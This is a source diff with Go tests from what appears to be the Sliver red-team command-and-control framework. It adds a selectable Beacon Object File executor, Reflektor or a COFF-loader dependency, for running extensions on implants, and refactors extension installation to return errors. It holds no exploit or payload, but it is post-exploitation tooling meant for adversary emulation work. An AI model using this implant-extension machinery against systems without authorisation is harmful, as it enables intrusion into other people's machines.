"bof_executor":"reflektor",
|
||||
"files":[{"os":"windows","arch":"amd64","path":"modern.o"}]
|
||||
}]
|
||||
}`,
|
||||
want: BOFExecutorReflektor,
|
||||
},
|
||||
{
|
||||
name: "legacy manifest",
|
||||
data: `{
|
||||
"name":"legacy-bof",
|
||||
"command_name":"legacy-bof",
|
||||
"help":"test",
|
||||
"bof_executor":"coff-loader",
|
||||
"depends_on":"custom-loader",
|
||||
"files":[{"os":"windows","arch":"amd64","path":"legacy.o"}]
|
||||
}`,
|
||||
want: BOFExecutorCOFFLoader,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
manifest, err := ParseExtensionManifest([]byte(test.data))
|
||||
if err != nil {
|
||||
t.Fatalf("ParseExtensionManifest returned an error: %s", err)
|
||||
}
|
||||
if got := manifest.ExtCommand[0].BOFExecutor; got != test.want {
|
||||
t.Fatalf("BOFExecutor = %q, want %q", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExtensionManifestRejectsInvalidBOFExecutor(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
executor string
|
||||
dependsOn string
|
||||
wantErrPart string
|
||||
}{
|
||||
{
|
||||
name: "executor must be exact lowercase",
|
||||
executor: "Reflektor",
|
||||
wantErrPart: "invalid `bof_executor`",
|
||||
},
|
||||
{
|
||||
name: "unknown executor",
|
||||
executor: "other-loader",
|
||||
wantErrPart: "invalid `bof_executor`",
|
||||
},
|
||||
{
|
||||
name: "coff loader requires dependency",
|
||||
executor: BOFExecutorCOFFLoader,
|
||||
wantErrPart: "no `depends_on` fallback",
|
||||
},
|
||||
{
|
||||
name: "coff loader rejects whitespace dependency",
|
||||
executor: BOFExecutorCOFFLoader,
|
||||
dependsOn: " \t",
|
||||
wantErrPart: "no `depends_on` fallback",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
manifest := &ExtensionManifest{
|
||||
Name: "test",
|
||||
ExtCommand: []*ExtCommand{{
|
||||
CommandName: "test",
|
||||
Help: "test",
|
||||
BOFExecutor: test.executor,
|
||||
DependsOn: test.dependsOn,
|
||||
Files: []*extensionFile{{
|
||||
OS: "windows", Arch: "amd64", Path: "test.o",
|
||||
}},
|
||||
}},
|
||||
}
|
||||
err := validManifest(manifest)
|
||||
if err == nil || !strings.Contains(err.Error(), test.wantErrPart) {
|
||||
t.Fatalf("validManifest error = %v, want error containing %q", err, test.wantErrPart)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlanExtensionExecution(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
ext *ExtCommand
|
||||
path string
|
||||
capabilities uint64
|
||||
want extensionExecutionMode
|
||||
wantErr bool
|
||||
}{
|
||||
{
|
||||
name: "native artifact remains native",
|
||||
ext: &ExtCommand{CommandName: "native"},
|
||||
path: "native.dll",
|
||||
want: extensionExecutionNative,
|
||||
},
|
||||
{
|
||||
name: "legacy manifest keeps dependency route",
|
||||
ext: &ExtCommand{CommandName: "legacy", DependsOn: "coff-loader"},
|
||||
path: "legacy.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionCOFFLoader,
|
||||
},
|
||||
{
|
||||
name: "explicit coff loader is authoritative",
|
||||
ext: &ExtCommand{CommandName: "coff", BOFExecutor: BOFExecutorCOFFLoader, DependsOn: "custom-loader"},
|
||||
path: "coff.bin",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionCOFFLoader,
|
||||
},
|
||||
{
|
||||
name: "explicit Reflektor uses capable target",
|
||||
ext: &ExtCommand{CommandName: "builtin", BOFExecutor: BOFExecutorReflektor, DependsOn: "coff-loader"},
|
||||
path: "builtin.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionReflektor,
|
||||
},
|
||||
{
|
||||
name: "explicit Reflektor falls back to dependency",
|
||||
ext: &ExtCommand{CommandName: "fallback", BOFExecutor: BOFExecutorReflektor, DependsOn: "coff-loader"},
|
||||
path: "fallback.o",
|
||||
want: extensionExecutionCOFFLoader,
|
||||
},
|
||||
{
|
||||
name: "dependency-free BOF defaults to Reflektor",
|
||||
ext: &ExtCommand{CommandName: "default"},
|
||||
path: "default.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionReflektor,
|
||||
},
|
||||
{
|
||||
name: "uppercase object extension is a BOF",
|
||||
ext: &ExtCommand{CommandName: "uppercase"},
|
||||
path: "uppercase.O",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionReflektor,
|
||||
},
|
||||
{
|
||||
name: "unsupported dependency-free BOF fails closed",
|
||||
ext: &ExtCommand{CommandName: "unsupported"},
|
||||
path: "unsupported.o",
|
||||
wantErr: true,
|
||||
},
|
||||
{
|
||||
name: "coff loader without dependency fails closed",
|
||||
ext: &ExtCommand{CommandName: "missing", BOFExecutor: BOFExecutorCOFFLoader},
|
||||
path: "missing.o",
|
||||
wantErr: true,
|
||||
},
|
||||
{
|
||||
name: "invalid executor fails closed",
|
||||
ext: &ExtCommand{CommandName: "invalid", BOFExecutor: "other"},
|
||||
path: "invalid.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
wantErr: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
got, err := planExtensionExecution(test.ext, test.path, test.capabilities)
|
||||
if test.wantErr {
|
||||
if err == nil {
|
||||
t.Fatalf("planExtensionExecution returned mode %d, want error", got)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("planExtensionExecution returned an error: %s", err)
|
||||
}
|
||||
if got != test.want {
|
||||
t.Fatalf("planExtensionExecution mode = %d, want %d", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCallExtensionRequestPreservesLegacyWireFields(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
objectData := []byte("object-data")
|
||||
loaderData := []byte("loader-data")
|
||||
objectPath := filepath.Join(root, "object.o")
|
||||
loaderPath := filepath.Join(root, "loader.dll")
|
||||
if err := os.WriteFile(objectPath, objectData, 0o600); err != nil {
|
||||
t.Fatalf("write object fixture: %s", err)
|
||||
}
|
||||
if err := os.WriteFile(loaderPath, loaderData, 0o600); err != nil {
|
||||
t.Fatalf("write loader fixture: %s", err)
|
||||
}
|
||||
|
||||
const loaderName = "custom-loader"
|
||||
previousLoader, hadPreviousLoader := loadedExtensions[loaderName]
|
||||
defer func() {
|
||||
if hadPreviousLoader {
|
||||
loadedExtensions[loaderName] = previousLoader
|
||||
} else {
|
||||
delete(loadedExtensions, loaderName)
|
||||
}
|
||||
}()
|
||||
loaderManifest := &ExtensionManifest{Name: loaderName, RootPath: root}
|
||||
loadedExtensions[loaderName] = &ExtCommand{
|
||||
CommandName: loaderName,
|
||||
Entrypoint: "RunCOFF",
|
||||
Files: []*extensionFile{{
|
||||
OS: "windows", Arch: "amd64", Path: filepath.Base(loaderPath),
|
||||
}},
|
||||
Manifest: loaderManifest,
|
||||
}
|
||||
|
||||
legacyArgs := []byte{0x01, 0x02, 0x03, 0x04}
|
||||
ext := &ExtCommand{CommandName: "test-bof", DependsOn: loaderName}
|
||||
got, err := buildCallExtensionRequest("windows", "amd64", extensionExecutionCOFFLoader, ext, objectPath, "RunCOFF", legacyArgs)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCallExtensionRequest returned an error: %s", err)
|
||||
}
|
||||
loaderHash := sha256.Sum256(loaderData)
|
||||
want := &sliverpb.CallExtensionReq{
|
||||
Name: hex.EncodeToString(loaderHash[:]),
|
||||
Export: "RunCOFF",
|
||||
Args: legacyArgs,
|
||||
}
|
||||
gotWire, err := proto.Marshal(got)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal actual request: %s", err)
|
||||
}
|
||||
wantWire, err := proto.Marshal(want)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal expected request: %s", err)
|
||||
}
|
||||
if !bytes.Equal(gotWire, wantWire) {
|
||||
t.Fatalf("legacy request wire bytes changed:\n got: %x\nwant: %x", gotWire, wantWire)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCallExtensionRequestForReflektor(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
objectData := []byte("object-data")
|
||||
objectPath := filepath.Join(root, "object.o")
|
||||
if err := os.WriteFile(objectPath, objectData, 0o600); err != nil {
|
||||
t.Fatalf("write object fixture: %s", err)
|
||||
}
|
||||
|
||||
typedArgs := []byte{0x05, 0x06}
|
||||
got, err := buildCallExtensionRequest("windows", "amd64", extensionExecutionReflektor, &ExtCommand{CommandName: "test-bof"}, objectPath, "go", typedArgs)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCallExtensionRequest returned an error: %s", err)
|
||||
}
|
||||
objectHash := sha256.Sum256(objectData)
|
||||
if got.Name != hex.EncodeToString(objectHash[:]) {
|
||||
t.Errorf("Name = %q, want object hash %q", got.Name, hex.EncodeToString(objectHash[:]))
|
||||
}
|
||||
if got.Export != "go" {
|
||||
t.Errorf("Export = %q, want %q", got.Export, "go")
|
||||
}
|
||||
if !bytes.Equal(got.Args, typedArgs) {
|
||||
t.Errorf("Args = %x, want %x", got.Args, typedArgs)
|
||||
}
|
||||
if !bytes.Equal(got.BOFData, objectData) {
|
||||
t.Errorf("BOFData = %q, want %q", got.BOFData, objectData)
|
||||
}
|
||||
if !got.IsBOF {
|
||||
t.Error("IsBOF = false, want true")
|
||||
}
|
||||
}
|
||||
@@ -40,7 +40,21 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
_ = InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
func readExtensionManifest(extLocalPath string, isGz bool) ([]byte, error) {
|
||||
if isGz {
|
||||
return util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
}
|
||||
return os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
}
|
||||
|
||||
func extensionPackageID(manifest *ExtensionManifest) string {
|
||||
if manifest.PackageName != "" {
|
||||
return manifest.PackageName
|
||||
}
|
||||
return manifest.Name
|
||||
}
|
||||
|
||||
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
|
||||
@@ -54,37 +68,28 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
// - con: Sliver console client for displaying status and error messages
|
||||
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
|
||||
//
|
||||
// The function will return early with error messages printed to console if:
|
||||
// The function returns errors after printing them to the console if:
|
||||
// - The manifest cannot be read or parsed
|
||||
// - Required directories cannot be created
|
||||
// - File copy operations fail
|
||||
// - User declines overwrite when prompted
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
if isGz {
|
||||
manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
} else {
|
||||
manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
}
|
||||
//
|
||||
// Declining an overwrite prompt cancels the installation without an error.
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) error {
|
||||
manifestData, err := readExtensionManifest(extLocalPath, isGz)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
return fmt.Errorf("read %s: %w", ManifestFileName, err)
|
||||
}
|
||||
|
||||
manifestF, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
return fmt.Errorf("parse %s: %w", ManifestFileName, err)
|
||||
}
|
||||
|
||||
// Use package name if available, otherwise use extension name
|
||||
// (Note, for v1 manifests this will actually be command_name)
|
||||
packageID := manifestF.Name
|
||||
if manifestF.PackageName != "" {
|
||||
packageID = manifestF.PackageName
|
||||
}
|
||||
packageID := extensionPackageID(manifestF)
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
|
||||
@@ -94,7 +99,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
confirm := false
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(minstallPath)
|
||||
@@ -103,13 +108,13 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
err = os.MkdirAll(minstallPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating extension directory: %s\n", err)
|
||||
return
|
||||
return fmt.Errorf("create extension directory: %w", err)
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(minstallPath)
|
||||
return
|
||||
return fmt.Errorf("write %s: %w", ManifestFileName, err)
|
||||
}
|
||||
|
||||
for _, manifest := range manifestF.ExtCommand {
|
||||
@@ -125,7 +130,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
return fmt.Errorf("create extension artifact directory: %w", err)
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
@@ -135,11 +140,12 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error installing command: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
return fmt.Errorf("install extension artifact: %w", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"errors"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/klauspost/compress/gzip"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
type installArchiveMember struct {
|
||||
name string
|
||||
data []byte
|
||||
}
|
||||
|
||||
const installTestManifest = `{
|
||||
"name": "Test Extension",
|
||||
"package_name": "test-extension",
|
||||
"version": "v1.0.0",
|
||||
"commands": [{
|
||||
"command_name": "test-command",
|
||||
"help": "test command",
|
||||
"files": [{"os": "windows", "arch": "amd64", "path": "foo/test.dll"}]
|
||||
}]
|
||||
}`
|
||||
|
||||
func writeInstallArchive(t *testing.T, prefix string, members ...installArchiveMember) string {
|
||||
t.Helper()
|
||||
archivePath := filepath.Join(t.TempDir(), "extension.tar.gz")
|
||||
archive, err := os.Create(archivePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gzipWriter := gzip.NewWriter(archive)
|
||||
tarWriter := tar.NewWriter(gzipWriter)
|
||||
for _, member := range members {
|
||||
header := &tar.Header{
|
||||
Name: prefix + member.name,
|
||||
Mode: 0o600,
|
||||
Size: int64(len(member.data)),
|
||||
Typeflag: tar.TypeReg,
|
||||
}
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := tarWriter.Write(member.data); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if err := tarWriter.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := gzipWriter.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := archive.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return archivePath
|
||||
}
|
||||
|
||||
func testInstallConsole(t *testing.T) *console.SliverClient {
|
||||
t.Helper()
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(
|
||||
con, nil, nil, nil, emptyCommands, emptyCommands, false, "",
|
||||
); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return con
|
||||
}
|
||||
|
||||
func TestInstallFromDirAcceptsPrefixedAndUnprefixedArchives(t *testing.T) {
|
||||
for _, prefix := range []string{"./", ""} {
|
||||
name := "unprefixed"
|
||||
if prefix != "" {
|
||||
name = "prefixed"
|
||||
}
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
archivePath := writeInstallArchive(t, prefix,
|
||||
installArchiveMember{name: ManifestFileName, data: []byte(installTestManifest)},
|
||||
installArchiveMember{name: "foo/test.dll", data: []byte("extension data")},
|
||||
)
|
||||
|
||||
if err := InstallFromDir(archivePath, false, testInstallConsole(t), true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
installRoot := filepath.Join(assets.GetExtensionsDir(), "test-extension")
|
||||
if _, err := os.Stat(filepath.Join(installRoot, ManifestFileName)); err != nil {
|
||||
t.Fatalf("installed manifest: %v", err)
|
||||
}
|
||||
artifact, err := os.ReadFile(filepath.Join(installRoot, "foo", "test.dll"))
|
||||
if err != nil {
|
||||
t.Fatalf("installed artifact: %v", err)
|
||||
}
|
||||
if string(artifact) != "extension data" {
|
||||
t.Fatalf("artifact data = %q", artifact)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallFromDirReturnsMissingManifest(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
archivePath := writeInstallArchive(t, "./",
|
||||
installArchiveMember{name: "foo/test.dll", data: []byte("extension data")},
|
||||
)
|
||||
err := InstallFromDir(archivePath, false, testInstallConsole(t), true)
|
||||
if !errors.Is(err, fs.ErrNotExist) {
|
||||
t.Fatalf("error = %v, want fs.ErrNotExist", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallFromDirReturnsMissingArtifactAndCleansUp(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
archivePath := writeInstallArchive(t, "./",
|
||||
installArchiveMember{name: ManifestFileName, data: []byte(installTestManifest)},
|
||||
)
|
||||
err := InstallFromDir(archivePath, false, testInstallConsole(t), true)
|
||||
if !errors.Is(err, fs.ErrNotExist) {
|
||||
t.Fatalf("error = %v, want fs.ErrNotExist", err)
|
||||
}
|
||||
installRoot := filepath.Join(assets.GetExtensionsDir(), "test-extension")
|
||||
if _, err := os.Stat(installRoot); !errors.Is(err, fs.ErrNotExist) {
|
||||
t.Fatalf("install directory was not cleaned up: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -54,6 +54,20 @@ const (
|
||||
|
||||
// ManifestFileName - Extension manifest file name.
|
||||
ManifestFileName = "extension.json"
|
||||
|
||||
// BOFExecutorReflektor selects the built-in Reflektor BOF executor.
|
||||
BOFExecutorReflektor = "reflektor"
|
||||
|
||||
// BOFExecutorCOFFLoader selects the manifest's depends_on COFF loader.
|
||||
BOFExecutorCOFFLoader = "coff-loader"
|
||||
)
|
||||
|
||||
type extensionExecutionMode uint8
|
||||
|
||||
const (
|
||||
extensionExecutionNative extensionExecutionMode = iota
|
||||
extensionExecutionCOFFLoader
|
||||
extensionExecutionReflektor
|
||||
)
|
||||
|
||||
var loadedExtensions = map[string]*ExtCommand{}
|
||||
@@ -72,6 +86,7 @@ type ExtensionManifest_ struct {
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
BOFExecutor string `json:"bof_executor"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
@@ -100,6 +115,7 @@ type ExtCommand struct {
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
BOFExecutor string `json:"bof_executor"`
|
||||
Init string `json:"init"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
@@ -218,9 +234,11 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
{
|
||||
CommandName: old.CommandName,
|
||||
DependsOn: old.DependsOn,
|
||||
BOFExecutor: old.BOFExecutor,
|
||||
Help: old.Help,
|
||||
LongHelp: old.LongHelp,
|
||||
Entrypoint: old.Entrypoint,
|
||||
Init: old.Init,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
Schema: nil,
|
||||
@@ -270,6 +288,15 @@ func validManifest(manifest *ExtensionManifest) error {
|
||||
if extManifest.CommandName == "" {
|
||||
return errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
switch extManifest.BOFExecutor {
|
||||
case "", BOFExecutorReflektor:
|
||||
case BOFExecutorCOFFLoader:
|
||||
if strings.TrimSpace(extManifest.DependsOn) == "" {
|
||||
return fmt.Errorf("command %q uses bof_executor %q but has no `depends_on` fallback", extManifest.CommandName, BOFExecutorCOFFLoader)
|
||||
}
|
||||
default:
|
||||
return fmt.Errorf("command %q has invalid `bof_executor` %q (must be %q or %q)", extManifest.CommandName, extManifest.BOFExecutor, BOFExecutorReflektor, BOFExecutorCOFFLoader)
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
@@ -471,44 +498,30 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
sess, _ := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if sess != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp == nil {
|
||||
return errors.New("received empty register extension response")
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
@@ -531,6 +544,89 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func planExtensionExecution(ext *ExtCommand, binPath string, capabilities uint64) (extensionExecutionMode, error) {
|
||||
isBOF := ext.BOFExecutor != "" || strings.EqualFold(filepath.Ext(binPath), ".o")
|
||||
if !isBOF {
|
||||
return extensionExecutionNative, nil
|
||||
}
|
||||
dependsOn := strings.TrimSpace(ext.DependsOn)
|
||||
|
||||
switch ext.BOFExecutor {
|
||||
case BOFExecutorCOFFLoader:
|
||||
if dependsOn == "" {
|
||||
return extensionExecutionNative, fmt.Errorf("BOF command %q selects %q but has no depends_on loader", ext.CommandName, BOFExecutorCOFFLoader)
|
||||
}
|
||||
return extensionExecutionCOFFLoader, nil
|
||||
case "":
|
||||
// Existing manifests infer the loader from depends_on. Keep that route
|
||||
// even when the target supports the built-in executor.
|
||||
if dependsOn != "" {
|
||||
return extensionExecutionCOFFLoader, nil
|
||||
}
|
||||
case BOFExecutorReflektor:
|
||||
default:
|
||||
return extensionExecutionNative, fmt.Errorf("BOF command %q has invalid bof_executor %q", ext.CommandName, ext.BOFExecutor)
|
||||
}
|
||||
|
||||
if capabilities&sliverpb.CapabilityBOFV1 != 0 {
|
||||
return extensionExecutionReflektor, nil
|
||||
}
|
||||
if dependsOn != "" {
|
||||
return extensionExecutionCOFFLoader, nil
|
||||
}
|
||||
return extensionExecutionNative, fmt.Errorf("target does not support built-in Reflektor BOF execution and command %q has no depends_on fallback", ext.CommandName)
|
||||
}
|
||||
|
||||
func activeTargetCapabilities(session *clientpb.Session, beacon *clientpb.Beacon) uint64 {
|
||||
if session != nil {
|
||||
return session.Capabilities
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Capabilities
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func buildCallExtensionRequest(goos string, goarch string, mode extensionExecutionMode, ext *ExtCommand, binPath string, entryPoint string, extensionArgs []byte) (*sliverpb.CallExtensionReq, error) {
|
||||
extData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bd := sha256.Sum256(extData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
|
||||
if mode == extensionExecutionCOFFLoader {
|
||||
loader, found := loadedExtensions[ext.DependsOn]
|
||||
if !found {
|
||||
return nil, fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
}
|
||||
loaderPath, err := loader.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not get file for extension %s: %w", ext.DependsOn, err)
|
||||
}
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dep read file error: %w", err)
|
||||
}
|
||||
if len(loaderData) == 0 {
|
||||
return nil, fmt.Errorf("read empty file: %s", loaderPath)
|
||||
}
|
||||
bd = sha256.Sum256(loaderData)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
}
|
||||
|
||||
req := &sliverpb.CallExtensionReq{
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
}
|
||||
if mode == extensionExecutionReflektor {
|
||||
req.BOFData = extData
|
||||
req.IsBOF = true
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// The command runs with DisableFlagParsing, so args is the raw, unstripped
|
||||
// slice. Separate Sliver-owned flags from the extension's own arguments and
|
||||
@@ -570,27 +666,32 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
executionMode, err := planExtensionExecution(ext, binPath, activeTargetCapabilities(session, beacon))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not execute extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
if executionMode != extensionExecutionReflektor {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// that either use the built-in Reflektor executor or another extension.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
switch executionMode {
|
||||
case extensionExecutionCOFFLoader:
|
||||
// Legacy COFF loaders expect the entrypoint, object, and typed argument
|
||||
// buffer packed into the existing outer argument envelope.
|
||||
extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
